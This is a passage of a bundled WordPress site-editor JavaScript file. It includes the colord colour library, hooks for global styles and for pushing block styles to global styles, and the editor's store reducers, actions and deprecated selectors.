w(M(this.rgba,-1))},r.prototype.lighten=function(r){return void 0===r&&(r=.1),w($(this.rgba,r))},r.prototype.darken=function(r){return void 0===r&&(r=.1),w($(this.rgba,-r))},r.prototype.rotate=function(r){return void 0===r&&(r=15),this.hue(this.hue()+r)},r.prototype.alpha=function(r){return"number"==typeof r?w({r:(t=this.rgba).r,g:t.g,b:t.b,a:r}):n(this.rgba.a,3);var t},r.prototype.hue=function(r){var t=c(this.rgba);return"number"==typeof r?w({h:r,s:t.s,l:t.l,a:t.a}):n(t.h)},r.prototype.isEqual=function(r){return this.toHex()===w(r).toHex()},r}(),w=function(r){return r instanceof colord_j?r:new colord_j(r)},S=[],k=function(r){r.forEach(function(r){S.indexOf(r)<0&&(r(colord_j,y),S.push(r))})},E=function(){return new colord_j({r:255*Math.random(),g:255*Math.random(),b:255*Math.random()})};
6660
6661;// ./node_modules/colord/plugins/a11y.mjs
6662var a11y_o=function(o){var t=o/255;return t<.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},a11y_t=function(t){return.2126*a11y_o(t.r)+.7152*a11y_o(t.g)+.0722*a11y_o(t.b)};/* harmony default export */ function a11y(o){o.prototype.luminance=function(){return o=a11y_t(this.rgba),void 0===(r=2)&&(r=0),void 0===n&&(n=Math.pow(10,r)),Math.round(n*o)/n+0;var o,r,n},o.prototype.contrast=function(r){void 0===r&&(r="#FFF");var n,a,i,e,v,u,d,c=r instanceof o?r:new o(r);return e=this.rgba,v=c.toRgb(),u=a11y_t(e),d=a11y_t(v),n=u>d?(u+.05)/(d+.05):(d+.05)/(u+.05),void 0===(a=2)&&(a=0),void 0===i&&(i=Math.pow(10,a)),Math.floor(i*n)/i+0},o.prototype.isReadable=function(o,t){return void 0===o&&(o="#FFF"),void 0===t&&(t={}),this.contrast(o)>=(e=void 0===(i=(r=t).size)?"normal":i,"AAA"===(a=void 0===(n=r.level)?"AA":n)&&"normal"===e?7:"AA"===a&&"large"===e?3:4.5);var r,n,a,i,e}}
6663
6664;// external ["wp","privateApis"]
6665const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
6666;// ./node_modules/@wordpress/edit-site/build-module/lock-unlock.js
6667
6668const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
6669 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
6670 "@wordpress/edit-site"
6671);
6672
6673
6674;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/hooks.js
6675
6676
6677
6678
6679
6680
6681const { useGlobalSetting, useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
6682k([a11y]);
6683function useColorRandomizer(name) {
6684 const [themeColors, setThemeColors] = useGlobalSetting(
6685 "color.palette.theme",
6686 name
6687 );
6688 function randomizeColors() {
6689 const randomRotationValue = Math.floor(Math.random() * 225);
6690 const newColors = themeColors.map((colorObject) => {
6691 const { color } = colorObject;
6692 const newColor = w(color).rotate(randomRotationValue).toHex();
6693 return {
6694 ...colorObject,
6695 color: newColor
6696 };
6697 });
6698 setThemeColors(newColors);
6699 }
6700 return window.__experimentalEnableColorRandomizer ? [randomizeColors] : [];
6701}
6702function useStylesPreviewColors() {
6703 const [textColor = "black"] = useGlobalStyle("color.text");
6704 const [backgroundColor = "white"] = useGlobalStyle("color.background");
6705 const [headingColor = textColor] = useGlobalStyle(
6706 "elements.h1.color.text"
6707 );
6708 const [linkColor = headingColor] = useGlobalStyle(
6709 "elements.link.color.text"
6710 );
6711 const [buttonBackgroundColor = linkColor] = useGlobalStyle(
6712 "elements.button.color.background"
6713 );
6714 const [coreColors] = useGlobalSetting("color.palette.core");
6715 const [themeColors] = useGlobalSetting("color.palette.theme");
6716 const [customColors] = useGlobalSetting("color.palette.custom");
6717 const paletteColors = (themeColors ?? []).concat(customColors ?? []).concat(coreColors ?? []);
6718 const textColorObject = paletteColors.filter(
6719 ({ color }) => color === textColor
6720 );
6721 const buttonBackgroundColorObject = paletteColors.filter(
6722 ({ color }) => color === buttonBackgroundColor
6723 );
6724 const highlightedColors = textColorObject.concat(buttonBackgroundColorObject).concat(paletteColors).filter(
6725 // we exclude these background color because it is already visible in the preview.
6726 ({ color }) => color !== backgroundColor
6727 ).slice(0, 2);
6728 return {
6729 paletteColors,
6730 highlightedColors
6731 };
6732}
6733function useSupportedStyles(name, element) {
6734 const { supportedPanels } = (0,external_wp_data_.useSelect)(
6735 (select) => {
6736 return {
6737 supportedPanels: unlock(
6738 select(external_wp_blocks_namespaceObject.store)
6739 ).getSupportedStyles(name, element)
6740 };
6741 },
6742 [name, element]
6743 );
6744 return supportedPanels;
6745}
6746
6747
6748;// ./node_modules/@wordpress/edit-site/build-module/utils/set-nested-value.js
6749function setNestedValue(object, path, value) {
6750 if (!object || typeof object !== "object") {
6751 return object;
6752 }
6753 path.reduce((acc, key, idx) => {
6754 if (acc[key] === void 0) {
6755 if (Number.isInteger(path[idx + 1])) {
6756 acc[key] = [];
6757 } else {
6758 acc[key] = {};
6759 }
6760 }
6761 if (idx === path.length - 1) {
6762 acc[key] = value;
6763 }
6764 return acc[key];
6765 }, object);
6766 return object;
6767}
6768
6769
6770;// ./node_modules/@wordpress/edit-site/build-module/hooks/push-changes-to-global-styles/index.js
6771
6772
6773
6774
6775
6776
6777
6778
6779
6780
6781
6782
6783
6784
6785const { cleanEmptyObject, GlobalStylesContext } = unlock(
6786 external_wp_blockEditor_namespaceObject.privateApis
6787);
6788const STYLE_PROPERTY = {
6789 ...external_wp_blocks_namespaceObject.__EXPERIMENTAL_STYLE_PROPERTY,
6790 blockGap: { value: ["spacing", "blockGap"] }
6791};
6792const STYLE_PATH_TO_CSS_VAR_INFIX = {
6793 "border.color": "color",
6794 "color.background": "color",
6795 "color.text": "color",
6796 "elements.link.color.text": "color",
6797 "elements.link.:hover.color.text": "color",
6798 "elements.link.typography.fontFamily": "font-family",
6799 "elements.link.typography.fontSize": "font-size",
6800 "elements.button.color.text": "color",
6801 "elements.button.color.background": "color",
6802 "elements.button.typography.fontFamily": "font-family",
6803 "elements.button.typography.fontSize": "font-size",
6804 "elements.caption.color.text": "color",
6805 "elements.heading.color": "color",
6806 "elements.heading.color.background": "color",
6807 "elements.heading.typography.fontFamily": "font-family",
6808 "elements.heading.gradient": "gradient",
6809 "elements.heading.color.gradient": "gradient",
6810 "elements.h1.color": "color",
6811 "elements.h1.color.background": "color",
6812 "elements.h1.typography.fontFamily": "font-family",
6813 "elements.h1.color.gradient": "gradient",
6814 "elements.h2.color": "color",
6815 "elements.h2.color.background": "color",
6816 "elements.h2.typography.fontFamily": "font-family",
6817 "elements.h2.color.gradient": "gradient",
6818 "elements.h3.color": "color",
6819 "elements.h3.color.background": "color",
6820 "elements.h3.typography.fontFamily": "font-family",
6821 "elements.h3.color.gradient": "gradient",
6822 "elements.h4.color": "color",
6823 "elements.h4.color.background": "color",
6824 "elements.h4.typography.fontFamily": "font-family",
6825 "elements.h4.color.gradient": "gradient",
6826 "elements.h5.color": "color",
6827 "elements.h5.color.background": "color",
6828 "elements.h5.typography.fontFamily": "font-family",
6829 "elements.h5.color.gradient": "gradient",
6830 "elements.h6.color": "color",
6831 "elements.h6.color.background": "color",
6832 "elements.h6.typography.fontFamily": "font-family",
6833 "elements.h6.color.gradient": "gradient",
6834 "color.gradient": "gradient",
6835 blockGap: "spacing",
6836 "typography.fontSize": "font-size",
6837 "typography.fontFamily": "font-family"
6838};
6839const STYLE_PATH_TO_PRESET_BLOCK_ATTRIBUTE = {
6840 "border.color": "borderColor",
6841 "color.background": "backgroundColor",
6842 "color.text": "textColor",
6843 "color.gradient": "gradient",
6844 "typography.fontSize": "fontSize",
6845 "typography.fontFamily": "fontFamily"
6846};
6847const SUPPORTED_STYLES = ["border", "color", "spacing", "typography"];
6848const getValueFromObjectPath = (object, path) => {
6849 let value = object;
6850 path.forEach((fieldName) => {
6851 value = value?.[fieldName];
6852 });
6853 return value;
6854};
6855const flatBorderProperties = ["borderColor", "borderWidth", "borderStyle"];
6856const sides = ["top", "right", "bottom", "left"];
6857function getBorderStyleChanges(border, presetColor, userStyle) {
6858 if (!border && !presetColor) {
6859 return [];
6860 }
6861 const changes = [
6862 ...getFallbackBorderStyleChange("top", border, userStyle),
6863 ...getFallbackBorderStyleChange("right", border, userStyle),
6864 ...getFallbackBorderStyleChange("bottom", border, userStyle),
6865 ...getFallbackBorderStyleChange("left", border, userStyle)
6866 ];
6867 const { color: customColor, style, width } = border || {};
6868 const hasColorOrWidth = presetColor || customColor || width;
6869 if (hasColorOrWidth && !style) {
6870 sides.forEach((side) => {
6871 if (!userStyle?.[side]?.style) {
6872 changes.push({
6873 path: ["border", side, "style"],
6874 value: "solid"
6875 });
6876 }
6877 });
6878 }
6879 return changes;
6880}
6881function getFallbackBorderStyleChange(side, border, globalBorderStyle) {
6882 if (!border?.[side] || globalBorderStyle?.[side]?.style) {
6883 return [];
6884 }
6885 const { color, style, width } = border[side];
6886 const hasColorOrWidth = color || width;
6887 if (!hasColorOrWidth || style) {
6888 return [];
6889 }
6890 return [{ path: ["border", side, "style"], value: "solid" }];
6891}
6892function useChangesToPush(name, attributes, userConfig) {
6893 const supports = useSupportedStyles(name);
6894 const blockUserConfig = userConfig?.styles?.blocks?.[name];
6895 return (0,external_wp_element_.useMemo)(() => {
6896 const changes = supports.flatMap((key) => {
6897 if (!STYLE_PROPERTY[key]) {
6898 return [];
6899 }
6900 const { value: path } = STYLE_PROPERTY[key];
6901 const presetAttributeKey = path.join(".");
6902 const presetAttributeValue = attributes[STYLE_PATH_TO_PRESET_BLOCK_ATTRIBUTE[presetAttributeKey]];
6903 const value = presetAttributeValue ? `var:preset|${STYLE_PATH_TO_CSS_VAR_INFIX[presetAttributeKey]}|${presetAttributeValue}` : getValueFromObjectPath(attributes.style, path);
6904 if (key === "linkColor") {
6905 const linkChanges = value ? [{ path, value }] : [];
6906 const hoverPath = [
6907 "elements",
6908 "link",
6909 ":hover",
6910 "color",
6911 "text"
6912 ];
6913 const hoverValue = getValueFromObjectPath(
6914 attributes.style,
6915 hoverPath
6916 );
6917 if (hoverValue) {
6918 linkChanges.push({ path: hoverPath, value: hoverValue });
6919 }
6920 return linkChanges;
6921 }
6922 if (flatBorderProperties.includes(key) && value) {
6923 const borderChanges = [{ path, value }];
6924 sides.forEach((side) => {
6925 const currentPath = [...path];
6926 currentPath.splice(-1, 0, side);
6927 borderChanges.push({ path: currentPath, value });
6928 });
6929 return borderChanges;
6930 }
6931 return value ? [{ path, value }] : [];
6932 });
6933 getBorderStyleChanges(
6934 attributes.style?.border,
6935 attributes.borderColor,
6936 blockUserConfig?.border
6937 ).forEach((change) => changes.push(change));
6938 return changes;
6939 }, [supports, attributes, blockUserConfig]);
6940}
6941function PushChangesToGlobalStylesControl({
6942 name,
6943 attributes,
6944 setAttributes
6945}) {
6946 const { user: userConfig, setUserConfig } = (0,external_wp_element_.useContext)(GlobalStylesContext);
6947 const changes = useChangesToPush(name, attributes, userConfig);
6948 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_.useDispatch)(external_wp_blockEditor_namespaceObject.store);
6949 const { createSuccessNotice } = (0,external_wp_data_.useDispatch)(external_wp_notices_namespaceObject.store);
6950 const pushChanges = (0,external_wp_element_.useCallback)(() => {
6951 if (changes.length === 0) {
6952 return;
6953 }
6954 if (changes.length > 0) {
6955 const { style: blockStyles } = attributes;
6956 const newBlockStyles = structuredClone(blockStyles);
6957 const newUserConfig = structuredClone(userConfig);
6958 for (const { path, value } of changes) {
6959 setNestedValue(newBlockStyles, path, void 0);
6960 setNestedValue(
6961 newUserConfig,
6962 ["styles", "blocks", name, ...path],
6963 value
6964 );
6965 }
6966 const newBlockAttributes = {
6967 borderColor: void 0,
6968 backgroundColor: void 0,
6969 textColor: void 0,
6970 gradient: void 0,
6971 fontSize: void 0,
6972 fontFamily: void 0,
6973 style: cleanEmptyObject(newBlockStyles)
6974 };
6975 __unstableMarkNextChangeAsNotPersistent();
6976 setAttributes(newBlockAttributes);
6977 setUserConfig(newUserConfig, { undoIgnore: true });
6978 createSuccessNotice(
6979 (0,external_wp_i18n_namespaceObject.sprintf)(
6980 // translators: %s: Title of the block e.g. 'Heading'.
6981 (0,external_wp_i18n_namespaceObject.__)("%s styles applied."),
6982 (0,external_wp_blocks_namespaceObject.getBlockType)(name).title
6983 ),
6984 {
6985 type: "snackbar",
6986 actions: [
6987 {
6988 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
6989 onClick() {
6990 __unstableMarkNextChangeAsNotPersistent();
6991 setAttributes(attributes);
6992 setUserConfig(userConfig, {
6993 undoIgnore: true
6994 });
6995 }
6996 }
6997 ]
6998 }
6999 );
7000 }
7001 }, [
7002 __unstableMarkNextChangeAsNotPersistent,
7003 attributes,
7004 changes,
7005 createSuccessNotice,
7006 name,
7007 setAttributes,
7008 setUserConfig,
7009 userConfig
7010 ]);
7011 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
7012 external_wp_components_namespaceObject.BaseControl,
7013 {
7014 __nextHasNoMarginBottom: true,
7015 className: "edit-site-push-changes-to-global-styles-control",
7016 help: (0,external_wp_i18n_namespaceObject.sprintf)(
7017 // translators: %s: Title of the block e.g. 'Heading'.
7018 (0,external_wp_i18n_namespaceObject.__)(
7019 "Apply this block\u2019s typography, spacing, dimensions, and color styles to all %s blocks."
7020 ),
7021 (0,external_wp_blocks_namespaceObject.getBlockType)(name).title
7022 ),
7023 children: [
7024 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Styles") }),
7025 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7026 external_wp_components_namespaceObject.Button,
7027 {
7028 __next40pxDefaultSize: true,
7029 variant: "secondary",
7030 accessibleWhenDisabled: true,
7031 disabled: changes.length === 0,
7032 onClick: pushChanges,
7033 children: (0,external_wp_i18n_namespaceObject.__)("Apply globally")
7034 }
7035 )
7036 ]
7037 }
7038 );
7039}
7040function PushChangesToGlobalStyles(props) {
7041 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
7042 const isBlockBasedTheme = (0,external_wp_data_.useSelect)(
7043 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme,
7044 []
7045 );
7046 const supportsStyles = SUPPORTED_STYLES.some(
7047 (feature) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(props.name, feature)
7048 );
7049 const isDisplayed = blockEditingMode === "default" && supportsStyles && isBlockBasedTheme;
7050 if (!isDisplayed) {
7051 return null;
7052 }
7053 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorAdvancedControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PushChangesToGlobalStylesControl, { ...props }) });
7054}
7055const withPushChangesToGlobalStyles = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
7056 (BlockEdit) => (props) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
7057 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit"),
7058 props.isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PushChangesToGlobalStyles, { ...props })
7059 ] })
7060);
7061(0,external_wp_hooks_namespaceObject.addFilter)(
7062 "editor.BlockEdit",
7063 "core/edit-site/push-changes-to-global-styles",
7064 withPushChangesToGlobalStyles
7065);
7066
7067;// ./node_modules/@wordpress/edit-site/build-module/hooks/index.js
7068
7069
7070;// ./node_modules/@wordpress/edit-site/build-module/store/reducer.js
7071
7072function settings(state = {}, action) {
7073 switch (action.type) {
7074 case "UPDATE_SETTINGS":
7075 return {
7076 ...state,
7077 ...action.settings
7078 };
7079 }
7080 return state;
7081}
7082function editedPost(state = {}, action) {
7083 switch (action.type) {
7084 case "SET_EDITED_POST":
7085 return {
7086 postType: action.postType,
7087 id: action.id,
7088 context: action.context
7089 };
7090 case "SET_EDITED_POST_CONTEXT":
7091 return {
7092 ...state,
7093 context: action.context
7094 };
7095 }
7096 return state;
7097}
7098function saveViewPanel(state = false, action) {
7099 switch (action.type) {
7100 case "SET_IS_SAVE_VIEW_OPENED":
7101 return action.isOpen;
7102 }
7103 return state;
7104}
7105function editorCanvasContainerView(state = void 0, action) {
7106 switch (action.type) {
7107 case "SET_EDITOR_CANVAS_CONTAINER_VIEW":
7108 return action.view;
7109 }
7110 return state;
7111}
7112function routes(state = [], action) {
7113 switch (action.type) {
7114 case "REGISTER_ROUTE":
7115 return [...state, action.route];
7116 case "UNREGISTER_ROUTE":
7117 return state.filter((route) => route.name !== action.name);
7118 }
7119 return state;
7120}
7121var reducer_default = (0,external_wp_data_.combineReducers)({
7122 settings,
7123 editedPost,
7124 saveViewPanel,
7125 editorCanvasContainerView,
7126 routes
7127});
7128
7129
7130;// external ["wp","patterns"]
7131const external_wp_patterns_namespaceObject = window["wp"]["patterns"];
7132;// ./node_modules/@wordpress/edit-site/build-module/utils/constants.js
7133
7134
7135
7136const NAVIGATION_POST_TYPE = "wp_navigation";
7137const TEMPLATE_POST_TYPE = "wp_template";
7138const TEMPLATE_PART_POST_TYPE = "wp_template_part";
7139const TEMPLATE_ORIGINS = {
7140 custom: "custom",
7141 theme: "theme",
7142 plugin: "plugin"
7143};
7144const TEMPLATE_PART_AREA_DEFAULT_CATEGORY = "uncategorized";
7145const TEMPLATE_PART_ALL_AREAS_CATEGORY = "all-parts";
7146const {
7147 PATTERN_TYPES,
7148 PATTERN_DEFAULT_CATEGORY,
7149 PATTERN_USER_CATEGORY,
7150 EXCLUDED_PATTERN_SOURCES,
7151 PATTERN_SYNC_TYPES
7152} = unlock(external_wp_patterns_namespaceObject.privateApis);
7153const FOCUSABLE_ENTITIES = [
7154 TEMPLATE_PART_POST_TYPE,
7155 NAVIGATION_POST_TYPE,
7156 PATTERN_TYPES.user
7157];
7158const POST_TYPE_LABELS = {
7159 [TEMPLATE_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)("Template"),
7160 [TEMPLATE_PART_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)("Template part"),
7161 [PATTERN_TYPES.user]: (0,external_wp_i18n_namespaceObject.__)("Pattern"),
7162 [NAVIGATION_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)("Navigation")
7163};
7164const LAYOUT_GRID = "grid";
7165const LAYOUT_TABLE = "table";
7166const LAYOUT_LIST = "list";
7167const OPERATOR_IS = "is";
7168const OPERATOR_IS_NOT = "isNot";
7169const OPERATOR_IS_ANY = "isAny";
7170const OPERATOR_IS_NONE = "isNone";
7171
7172
7173;// ./node_modules/@wordpress/edit-site/build-module/store/actions.js
7174
7175
7176
7177
7178
7179
7180
7181
7182const { interfaceStore } = unlock(external_wp_editor_namespaceObject.privateApis);
7183function toggleFeature(featureName) {
7184 return function({ registry }) {
7185 external_wp_deprecated_default()(
7186 "dispatch( 'core/edit-site' ).toggleFeature( featureName )",
7187 {
7188 since: "6.0",
7189 alternative: "dispatch( 'core/preferences').toggle( 'core/edit-site', featureName )"
7190 }
7191 );
7192 registry.dispatch(external_wp_preferences_.store).toggle("core/edit-site", featureName);
7193 };
7194}
7195const __experimentalSetPreviewDeviceType = (deviceType) => ({ registry }) => {
7196 external_wp_deprecated_default()(
7197 "dispatch( 'core/edit-site' ).__experimentalSetPreviewDeviceType",
7198 {
7199 since: "6.5",
7200 version: "6.7",
7201 hint: "registry.dispatch( editorStore ).setDeviceType"
7202 }
7203 );
7204 registry.dispatch(external_wp_editor_namespaceObject.store).setDeviceType(deviceType);
7205};
7206function setTemplate() {
7207 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setTemplate", {
7208 since: "6.5",
7209 version: "6.8",
7210 hint: "The setTemplate is not needed anymore, the correct entity is resolved from the URL automatically."
7211 });
7212 return {
7213 type: "NOTHING"
7214 };
7215}
7216const addTemplate = (template) => async ({ dispatch, registry }) => {
7217 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).addTemplate", {
7218 since: "6.5",
7219 version: "6.8",
7220 hint: "use saveEntityRecord directly"
7221 });
7222 const newTemplate = await registry.dispatch(external_wp_coreData_namespaceObject.store).saveEntityRecord("postType", TEMPLATE_POST_TYPE, template);
7223 if (template.content) {
7224 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(
7225 "postType",
7226 TEMPLATE_POST_TYPE,
7227 newTemplate.id,
7228 { blocks: (0,external_wp_blocks_namespaceObject.parse)(template.content) },
7229 { undoIgnore: true }
7230 );
7231 }
7232 dispatch({
7233 type: "SET_EDITED_POST",
7234 postType: TEMPLATE_POST_TYPE,
7235 id: newTemplate.id
7236 });
7237};
7238const removeTemplate = (template) => ({ registry }) => {
7239 return unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).removeTemplates([
7240 template
7241 ]);
7242};
7243function setTemplatePart(templatePartId) {
7244 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setTemplatePart", {
7245 since: "6.8"
7246 });
7247 return {
7248 type: "SET_EDITED_POST",
7249 postType: TEMPLATE_PART_POST_TYPE,
7250 id: templatePartId
7251 };
7252}
7253function setNavigationMenu(navigationMenuId) {
7254 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setNavigationMenu", {
7255 since: "6.8"
7256 });
7257 return {
7258 type: "SET_EDITED_POST",
7259 postType: NAVIGATION_POST_TYPE,
7260 id: navigationMenuId
7261 };
7262}
7263function setEditedEntity(postType, postId, context) {
7264 return {
7265 type: "SET_EDITED_POST",
7266 postType,
7267 id: postId,
7268 context
7269 };
7270}
7271function setHomeTemplateId() {
7272 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setHomeTemplateId", {
7273 since: "6.2",
7274 version: "6.4"
7275 });
7276 return {
7277 type: "NOTHING"
7278 };
7279}
7280function setEditedPostContext(context) {
7281 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setEditedPostContext", {
7282 since: "6.8"
7283 });
7284 return {
7285 type: "SET_EDITED_POST_CONTEXT",
7286 context
7287 };
7288}
7289function setPage() {
7290 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setPage", {
7291 since: "6.5",
7292 version: "6.8",
7293 hint: "The setPage is not needed anymore, the correct entity is resolved from the URL automatically."
7294 });
7295 return { type: "NOTHING" };
7296}
7297function setNavigationPanelActiveMenu() {
7298 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setNavigationPanelActiveMenu", {
7299 since: "6.2",
7300 version: "6.4"
7301 });
7302 return { type: "NOTHING" };
7303}
7304function openNavigationPanelToMenu() {
7305 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).openNavigationPanelToMenu", {
7306 since: "6.2",
7307 version: "6.4"
7308 });
7309 return { type: "NOTHING" };
7310}
7311function setIsNavigationPanelOpened() {
7312 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsNavigationPanelOpened", {
7313 since: "6.2",
7314 version: "6.4"
7315 });
7316 return { type: "NOTHING" };
7317}
7318const setIsInserterOpened = (value) => ({ registry }) => {
7319 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsInserterOpened", {
7320 since: "6.5",
7321 alternative: "dispatch( 'core/editor').setIsInserterOpened"
7322 });
7323 registry.dispatch(external_wp_editor_namespaceObject.store).setIsInserterOpened(value);
7324};
7325const setIsListViewOpened = (isOpen) => ({ registry }) => {
7326 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsListViewOpened", {
7327 since: "6.5",
7328 alternative: "dispatch( 'core/editor').setIsListViewOpened"
7329 });
7330 registry.dispatch(external_wp_editor_namespaceObject.store).setIsListViewOpened(isOpen);
7331};
7332function updateSettings(settings) {
7333 return {
7334 type: "UPDATE_SETTINGS",
7335 settings
7336 };
7337}
7338function setIsSaveViewOpened(isOpen) {
7339 return {
7340 type: "SET_IS_SAVE_VIEW_OPENED",
7341 isOpen
7342 };
7343}
7344const revertTemplate = (template, options) => ({ registry }) => {
7345 return unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).revertTemplate(
7346 template,
7347 options
7348 );
7349};
7350const openGeneralSidebar = (name) => ({ registry }) => {
7351 registry.dispatch(interfaceStore).enableComplementaryArea("core", name);
7352};
7353const closeGeneralSidebar = () => ({ registry }) => {
7354 registry.dispatch(interfaceStore).disableComplementaryArea("core");
7355};
7356const switchEditorMode = (mode) => ({ registry }) => {
7357 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).switchEditorMode", {
7358 since: "6.6",
7359 alternative: "dispatch( 'core/editor').switchEditorMode"
7360 });
7361 registry.dispatch(external_wp_editor_namespaceObject.store).switchEditorMode(mode);
7362};
7363const setHasPageContentFocus = (hasPageContentFocus) => ({ dispatch, registry }) => {
7364 external_wp_deprecated_default()(`dispatch( 'core/edit-site' ).setHasPageContentFocus`, {
7365 since: "6.5"
7366 });
7367 if (hasPageContentFocus) {
7368 registry.dispatch(external_wp_blockEditor_namespaceObject.store).clearSelectedBlock();
7369 }
7370 dispatch({
7371 type: "SET_HAS_PAGE_CONTENT_FOCUS",
7372 hasPageContentFocus
7373 });
7374};
7375const toggleDistractionFree = () => ({ registry }) => {
7376 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).toggleDistractionFree", {
7377 since: "6.6",
7378 alternative: "dispatch( 'core/editor').toggleDistractionFree"
7379 });
7380 registry.dispatch(external_wp_editor_namespaceObject.store).toggleDistractionFree();
7381};
7382
7383
7384;// ./node_modules/@wordpress/edit-site/build-module/store/private-actions.js
7385const setEditorCanvasContainerView = (view) => ({ dispatch }) => {
7386 dispatch({
7387 type: "SET_EDITOR_CANVAS_CONTAINER_VIEW",
7388 view
7389 });
7390};
7391function registerRoute(route) {
7392 return {
7393 type: "REGISTER_ROUTE",
7394 route
7395 };
7396}
7397function unregisterRoute(name) {
7398 return {
7399 type: "UNREGISTER_ROUTE",
7400 name
7401 };
7402}
7403
7404
7405;// ./node_modules/@wordpress/edit-site/build-module/utils/get-filtered-template-parts.js
7406
7407const EMPTY_ARRAY = [];
7408function getFilteredTemplatePartBlocks(blocks = EMPTY_ARRAY, templateParts) {
7409 const templatePartsById = templateParts ? (
7410 // Key template parts by their ID.
7411 templateParts.reduce(
7412 (newTemplateParts, part) => ({
7413 ...newTemplateParts,
7414 [part.id]: part
7415 }),
7416 {}
7417 )
7418 ) : {};
7419 const result = [];
7420 const stack = [...blocks];
7421 while (stack.length) {
7422 const { innerBlocks, ...block } = stack.shift();
7423 stack.unshift(...innerBlocks);
7424 if ((0,external_wp_blocks_namespaceObject.isTemplatePart)(block)) {
7425 const {
7426 attributes: { theme, slug }
7427 } = block;
7428 const templatePartId = `${theme}//${slug}`;
7429 const templatePart = templatePartsById[templatePartId];
7430 if (templatePart) {
7431 result.push({
7432 templatePart,
7433 block
7434 });
7435 }
7436 }
7437 }
7438 return result;
7439}
7440
7441
7442;// ./node_modules/@wordpress/edit-site/build-module/store/selectors.js
7443
7444
7445
7446
7447
7448
7449
7450
7451
7452
7453const isFeatureActive = (0,external_wp_data_.createRegistrySelector)(
7454 (select) => (_, featureName) => {
7455 external_wp_deprecated_default()(`select( 'core/edit-site' ).isFeatureActive`, {
7456 since: "6.0",
7457 alternative: `select( 'core/preferences' ).get`
7458 });
7459 return !!select(external_wp_preferences_.store).get(
7460 "core/edit-site",
7461 featureName
7462 );
7463 }
7464);
7465const __experimentalGetPreviewDeviceType = (0,external_wp_data_.createRegistrySelector)(
7466 (select) => () => {
7467 external_wp_deprecated_default()(
7468 `select( 'core/edit-site' ).__experimentalGetPreviewDeviceType`,
7469 {
7470 since: "6.5",
7471 version: "6.7",
7472 alternative: `select( 'core/editor' ).getDeviceType`
7473 }
7474 );
7475 return select(external_wp_editor_namespaceObject.store).getDeviceType();
7476 }
7477);
7478const getCanUserCreateMedia = (0,external_wp_data_.createRegistrySelector)(
7479 (select) => () => {
7480 external_wp_deprecated_default()(
7481 `wp.data.select( 'core/edit-site' ).getCanUserCreateMedia()`,
7482 {
7483 since: "6.7",
7484 alternative: `wp.data.select( 'core' ).canUser( 'create', { kind: 'postType', type: 'attachment' } )`
7485 }
7486 );
7487 return select(external_wp_coreData_namespaceObject.store).canUser("create", "media");
7488 }
7489);
7490const getReusableBlocks = (0,external_wp_data_.createRegistrySelector)((select) => () => {
7491 external_wp_deprecated_default()(`select( 'core/edit-site' ).getReusableBlocks()`, {
7492 since: "6.5",
7493 version: "6.8",
7494 alternative: `select( 'core/core' ).getEntityRecords( 'postType', 'wp_block' )`
7495 });
7496 const isWeb = external_wp_element_.Platform.OS === "web";
7497 return isWeb ? select(external_wp_coreData_namespaceObject.store).getEntityRecords("postType", "wp_block", {
7498 per_page: -1
7499 }) : [];
7500});
7501function getSettings(state) {
7502 return state.settings;
7503}
7504function getHomeTemplateId() {
7505 external_wp_deprecated_default()("select( 'core/edit-site' ).getHomeTemplateId", {
7506 since: "6.2",
7507 version: "6.4"
7508 });
7509}
7510function getEditedPostType(state) {
7511 external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostType", {
7512 since: "6.8",
7513 alternative: "select( 'core/editor' ).getCurrentPostType"
7514 });
7515 return state.editedPost.postType;
7516}
7517function getEditedPostId(state) {
7518 external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostId", {
7519 since: "6.8",
7520 alternative: "select( 'core/editor' ).getCurrentPostId"
7521 });
7522 return state.editedPost.id;
7523}
